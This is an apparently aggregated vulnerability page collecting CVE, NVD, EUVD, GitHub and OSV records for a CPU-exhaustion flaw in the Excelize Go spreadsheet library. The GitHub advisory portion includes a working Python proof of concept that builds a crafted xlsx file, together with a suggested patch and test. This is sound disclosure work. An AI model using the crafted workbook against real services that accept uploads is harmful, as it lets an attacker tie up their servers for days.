Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-107212
PublishedExcelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.
- Source published
- 7 Oct 2026 17:29:23 UTC
- Source modified
- 7 Oct 2026 17:57:08 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
euvd · EUVD-2026-94527
PublishedExcelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 7, 2026, 5:29:23 PM
dateUpdated: Oct 7, 2026, 5:57:08 PM
- Source published
- Oct 7, 2026, 5:29:23 PM (timezone not stated)
- Source modified
- Oct 7, 2026, 5:57:08 PM (timezone not stated)
- Observed here
- 7 Nov 2026 12:38:35 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvd · CVE-2026-107212
PublishedExcelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-770
Original publisher date fields
published: 2026-10-07T18:17:18.670
lastModified: 2026-10-13T14:24:29.523
1 source CPE criteria · context only
- cpe:2.3:a:excelize:excelize:*:*:*:*:*:go:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 7 Oct 2026 18:17:18 UTC
- Source modified
- 13 Oct 2026 14:24:29 UTC
- Observed here
- 25 Oct 2026 04:17:41 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-jw42-f3rr-4cc3
Published### Summary A worksheet whose `<row r="...">` number is far past Excel's 1,048,576-row limit makes `File.GetRows` and the `Rows` iterator loop once for every missing row. The row limit is checked in `Rows.Next`, but not in `Rows.Columns`, which also reads `<row>` elements. A 1.5 KB file with `<row r="231999999999940">` after an ordinary first row keeps `GetRows` busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls `GetRows` or iterates `Rows` on an uploaded workbook can be tied up by a single request. ### Details `Rows.Next` checks the row number: ```go rowNum, _ := attrValToInt("r", xmlElement.Attr) if rowNum > TotalRows { rows.err = ErrMaxRows return false } ``` But `Rows.Columns` reads the cells of the current row by consuming tokens until it reaches the *next* `<row>` element, and it sets `rows.curRow` from that element's `r` without the check (rows.go, around line 179 at 3985c1f): ```go if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { rows.curRow = rowNum } ``` After that, `rows.curRow` is 231999999999940, and each later `Next()` call takes the `rows.curRow >= rows.seekRow` shortcut and returns `true` without reading any XML. `GetRows` then calls `Next()` and `Columns()` once per row number from 2 to 231999999999940. The check in `Next()` never runs, because the oversized `<row>` element was already consumed by `Columns()`. If the oversized row is the *first* row, `Next()` reads it and the existing check works; `TestGetRows` covers only that case. The bug needs a valid row first. ### Proof of concept This script uses only the Python standard library and writes a 1.5 KB workbook: ```python import zipfile parts = { "[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>', "_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>', "xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>', "xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>', "xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>', } with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z: for name, xml in parts.items(): z.writestr(name, xml) ``` ```go f, _ := excelize.OpenFile("poc.xlsx") rows, err := f.GetRows("Sheet1") // does not return ``` Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS stays at about 10 MB. The same pattern is in `clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx` in Apache POI's public test data (its sheet8.xml has `<row r="231999999999940">`). That's how this was found, by running excelize over POI's test files as part of differential testing with xlsx-lean (https://github.com/keithadler/xlsx-lean). ### Suggested patch Apply the same limit in `Columns()`, and have `Next()` stop once an error is recorded. With this change both files above return `ErrMaxRows` immediately. `go test ./...` passes (about 130 s). The new test case hangs without the change and passes in 0.015 s with it. ```diff --- a/rows.go +++ b/rows.go @@ -97,6 +97,9 @@ type Rows struct { // Next will return true if it finds the next row element. func (rows *Rows) Next() bool { + if rows.err != nil { + return false + } rows.seekRow++ if rows.curRow >= rows.seekRow { rows.curRowOpts = rows.seekRowOpts @@ -176,7 +179,10 @@ func (rows *Rows) Columns(opts ...Options) ([]string, error) { rowIterator.inElement = xmlElement.Name.Local if rowIterator.inElement == "row" { rowNum := 0 - if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 { + if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum > TotalRows { + rows.err, rows.token = ErrMaxRows, nil + return rowIterator.cells, rows.err + } else if rowNum != 0 { rows.curRow = rowNum } else if rows.token == nil { rows.curRow++ --- a/rows_test.go +++ b/rows_test.go @@ -28,6 +28,18 @@ func TestGetRows(t *testing.T) { f.checked = sync.Map{} _, err = f.GetRows("Sheet1") assert.Equal(t, ErrMaxRows, err) + // Test get rows from a file with a row number over the limit after a valid + // row, which is read by Rows.Columns rather than Rows.Next: this used to + // iterate once per missing row, about 2.3e14 times here + f = NewFile() + f.Pkg.Store("xl/worksheets/sheet1.xml", fmt.Appendf(nil, `<worksheet xmlns="%s"><sheetData><row r="1"><c><v>1</v></c></row><row r="231999999999940"><c><v>2</v></c></row></sheetData></worksheet>`, NameSpaceSpreadSheet.Value)) + f.Sheet.Delete("xl/worksheets/sheet1.xml") + buf, err := f.WriteToBuffer() + assert.NoError(t, err) + f, err = OpenReader(buf) + assert.NoError(t, err) + _, err = f.GetRows("Sheet1") + assert.Equal(t, ErrMaxRows, err) } func TestRows(t *testing.T) { ``` ### Impact Denial of service (CPU exhaustion) for any application that reads untrusted workbooks with `GetRows` or the `Rows` iterator. No authentication or user interaction is needed beyond the application accepting a file.
- Source published
- 8 Oct 2026 16:50:13 UTC
- Source modified
- 19 Oct 2026 21:40:42 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Publisher rating · HIGH
osv · GO-2026-6685
PublishedExcelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days in github.com/xuri/excelize
- Source published
- 19 Oct 2026 21:08:21 UTC
- Source modified
- 19 Oct 2026 21:31:35 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.